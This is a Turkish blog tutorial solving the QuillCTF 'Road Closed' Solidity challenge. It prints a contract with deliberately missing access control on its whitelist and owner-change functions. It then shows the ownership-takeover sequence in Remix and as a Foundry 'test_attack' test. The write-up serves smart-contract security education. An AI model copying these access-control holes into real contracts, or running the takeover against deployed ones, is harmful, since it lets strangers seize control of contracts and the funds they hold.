Foundry Çalışmaları I

Foundry Çalışmaları I

9-30 aralık 2022 tarihlerinde quillctf tarafından solidity challenge'i olarak oluşturulan "Road Closed" kodunun çözümünü türkçe olarak anlatmaya çalışacağım. Foundry öğrenmek için şu dersimizi inceleyin.

KOD

Kodumuzla başlayalım.

// SPDX-License-Identifier: GPL-3.0

pragma solidity 0.8.7;

contract RoadClosed {

    bool hacked;
    address owner;
    address pwner;
    mapping(address => bool) whitelistedMinters;


    function isContract(address addr) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(addr)
            }
        return size > 0;
    }

    function isOwner() public view returns(bool){
        if (msg.sender==owner) {
            return true;
        }
        else return false;
    }

    constructor() {
        owner = msg.sender;
    }

    function addToWhitelist(address addr) public {
        require(!isContract(addr),"Contracts are not allowed");
        whitelistedMinters[addr] = true;
    }


    function changeOwner(address addr) public {
        require(whitelistedMinters[addr], "You are not whitelisted");
        require(msg.sender == addr, "address must be msg.sender");
        require(addr != address(0), "Zero address");
        owner = addr;
    }

    function pwn(address addr) external payable{
        require(!isContract(msg.sender), "Contracts are not allowed");
        require(msg.sender == addr, "address must be msg.sender");
        require (msg.sender == owner, "Must be owner");
        hacked = true;
    }


    function isHacked() public view returns(bool) {
        return hacked;
    }
}

Kodumuz dört adet state değişkenle başlıyor.

bool hacked;
address owner;
address pwner;
mapping(address => bool) whitelistedMinters;

hacked değişkenimiz bool tipinde ve kontrat hacklendiğinde true'ya dönecektir.

owner değişkenimiz adres tipinde ve kontratın sahibidir.

pwner değişkenimiz adres tipinde ve pwn fonksiyonunu çağırabilecek adrestir.

whitelistedMinters bir mappingdir. Bu mapping üzerinde adres, bool değişkeniyle eşleştirilir. Sistemde olan bir adres için mapping sorgusu true dönecektir.

Şimdi kodumuzdaki denetimlere geçelim.

Kontrat mı Adres mi?

function isContract(address addr) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(addr)
            }
        return size > 0;
    }

Bu denetim kodunda, işlem yapanın bir kontrat mı yoksa adres mi olduğunu öğreniyoruz. Eğer girilen adres değişkeni bir kontrat ise size > 0 sonucu true çıkacaktır. extcodesize üzerine daha fazla bilgi almak isterseniz şurası iyidir.

Kodun sahibi misiniz?

function isOwner() public view returns(bool){
        if (msg.sender==owner) {
            return true;
        }
        else return false;
    }

Bu kod üzerinde, bu fonksiyona istek gönderenin (msg.sender), kodun sahibi(owner) olup olmadığı tespit edilir.

Kodun İlk Sahibi ?

constructor() {
        owner = msg.sender;
    }

Bu kontratı çalıştıran ilk kişi(msg.sender), constructor üzerinden kontratın owner'ı olarak atanır.

Şimdi kodumuz üzerindeki temel fonksiyonları inceleyelim.

    function addToWhitelist(address addr) public {
        require(!isContract(addr),"Contracts are not allowed");
        whitelistedMinters[addr] = true;
    }

Bu fonksiyon yardımıyla whitelistedMinters adlı mappingimize istediğimiz adresleri giriyoruz. Bunu yapabilmemiz için adres olmamız gerekiyor.

**!**isContract(addr)= Şu şekilde çalışacak, adres olduğunuz için isContract(addr) ifadesi false dönecek. İki false yanyana gelince true olacak.

Bu fonksiyonda sadece owner'ın girmesini sağlayacak bir modifier olmaması kaygıları artırmaktadır.

function changeOwner(address addr) public {
        require(whitelistedMinters[addr], "You are not whitelisted");
        require(msg.sender == addr, "address must be msg.sender");
        require(addr != address(0), "Zero address");
        owner = addr;
    }

Bu fonksiyon verdiğimiz adresin kontratın yeni sahibi olmasını sağlamaktadır. Tabii bazı koşulları yerine getirmemiz gerekmektedir.

1-whitelistedMinters mapping'i içinde olan bir adrese sahip olmalıyız.

2-İsteği gönderenle(msg.sender) eklenmek istenen adres(addr) aynı olmalıdır.

3- Eklemek istediğimiz adres boş adres olmamalıdır.

Bunlar geçildiği takdirde verdiğimiz adres owner olacaktır.

Bu fonksiyonda sadece owner'ın girmesini sağlayacak bir modifier olmaması kaygıları artırmaktadır.

 function pwn(address addr) external payable{
        require(!isContract(msg.sender), "Contracts are not allowed");
        require(msg.sender == addr, "address must be msg.sender");
        require (msg.sender == owner, "Must be owner");
        hacked = true;
    }

Bu fonksiyonun nihai amacı, kontratın başında belirttiğimiz hacked adlı bool değişkeni true döndürmektir.

Tabii bazı koşulları yerine getirmemiz gerekmektedir.

1-İsteği gönderen(msg.sender) adres olmalıdır.

2-İsteği gönderenle(msg.sender) eklenmek istenen adres(addr) aynı olmalıdır.

3- İsteği gönderen owner olmalıdır.

Bunlar geçildiği takdirde hacked değişkeni, true olacaktır.

function isHacked() public view returns(bool) {
        return hacked;
    }

isHacked fonksiyonu da bunun teyitini sağlamaktadır.

Remix

0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 adlı adresten kontratı başlatıyoruz. Bu adres msg.sender olduğu için constructor tarafından owner'a atanacaktır.

constructor() {
        owner = msg.sender;
    }

Remix üzerinde isOwner fonksiyonunu kullanarak hemen teyit edelim.

isHacked fonksiyonu kullanarak hacked değişkeninin değerinin ne olduğunu öğrenelim.

Amacımız başka bir adres üzerinden isHacked değişkenini true olarak döndürmektir.

Yeni adresimiz 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 olsun. Öncelikle adresimizi whitelistedMinters' ekleyelim. Bu fonksiyon herhangi bir modifier tarafından korunmadığı için rahatlıkla yapabiliriz.

Tamam yeni aşamada owner'ı değiştireceğiz. Hedefimiz changeOwner fonksiyonudur.

Owner artık 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 dır. Kontrol edelim.

Son vuruşa hazır mısınız?

pwn fonksiyonuna gidip adresimizi girelim. isHacked değişkeni true olarak dönsün.

Final. isHacked değişkeni true olarak dönmektedir.

Foundry

Foundry öğrenmek için şu dersimizi inceleyin.

Öncelikle import yoluyla hem Test için kullanacağımız dosyayı hem de solidity kodlarımızın bulunduğu dosyayı çekiyoruz.

import "forge-std/Test.sol";
import "../src/RoadClosed.sol";

Geri kalan kodumuz da şu şekildedir.

contract Hack is Test {
      RoadClosed roadclosed;
      address owner = makeAddr("Owner");
      address hacker = makeAddr("hacker");

    function setUp() public {
         roadclosed = new RoadClosed();
    }

    function test_attack() public {
        vm.startPrank(hacker);
        roadclosed.isOwner();
        roadclosed.addToWhitelist(hacker);
        roadclosed.changeOwner(hacker);
        roadclosed.pwn(hacker);
        roadclosed.isOwner();
        roadclosed.isHacked();
        vm.stopPrank();
        vm.startPrank(owner);
        roadclosed.isOwner();
}
}

Öncelikle owner ve hacker adreslerini sisteme tanımladık.

ddress owner = makeAddr("Owner");
      address hacker = makeAddr("hacker");

Sonrasında ana solidity kodumuzun bir kopyasını test dosyamızda oluşturduk.

    RoadClosed roadclosed;

    function setUp() public {
         roadclosed = new RoadClosed();
    }

Attack testimizi yazmaya başladık.Öncelikle hacker adresini, msg.sender olarak belirleyip isOwner fonksiyonu yoluyla owner olup olmadığını göreceğiz.

function test_attack() public {
        vm.startPrank(hacker);
        roadclosed.isOwner();

Terminal üzerinde forge test -vvvv yazıp sonucu görelim.

Hacker adresi ile sisteme girş yaptık. isOwner fonksiyonu false döndürdü. Remix de çalıştırdığımız fonksiyonları burada sırasıyla çalıştırıp tekrar soralım.

        roadclosed.addToWhitelist(hacker);
        roadclosed.changeOwner(hacker);
        roadclosed.pwn(hacker);
        roadclosed.isOwner();

Artık owner olduk hayırlı olsun.

Hacked değişkeni true oldu mu?

Eski owner ı da sorguluyalım.

        vm.startPrank(owner);
        roadclosed.isOwner();

Evet buraların kralı bizi artık.

Umarım faydalı bir çalışma olmuştur.

Doç.Dr. Engin YILMAZ

Did you find this article valuable?

Support Buildchain by becoming a sponsor. Any amount is appreciated!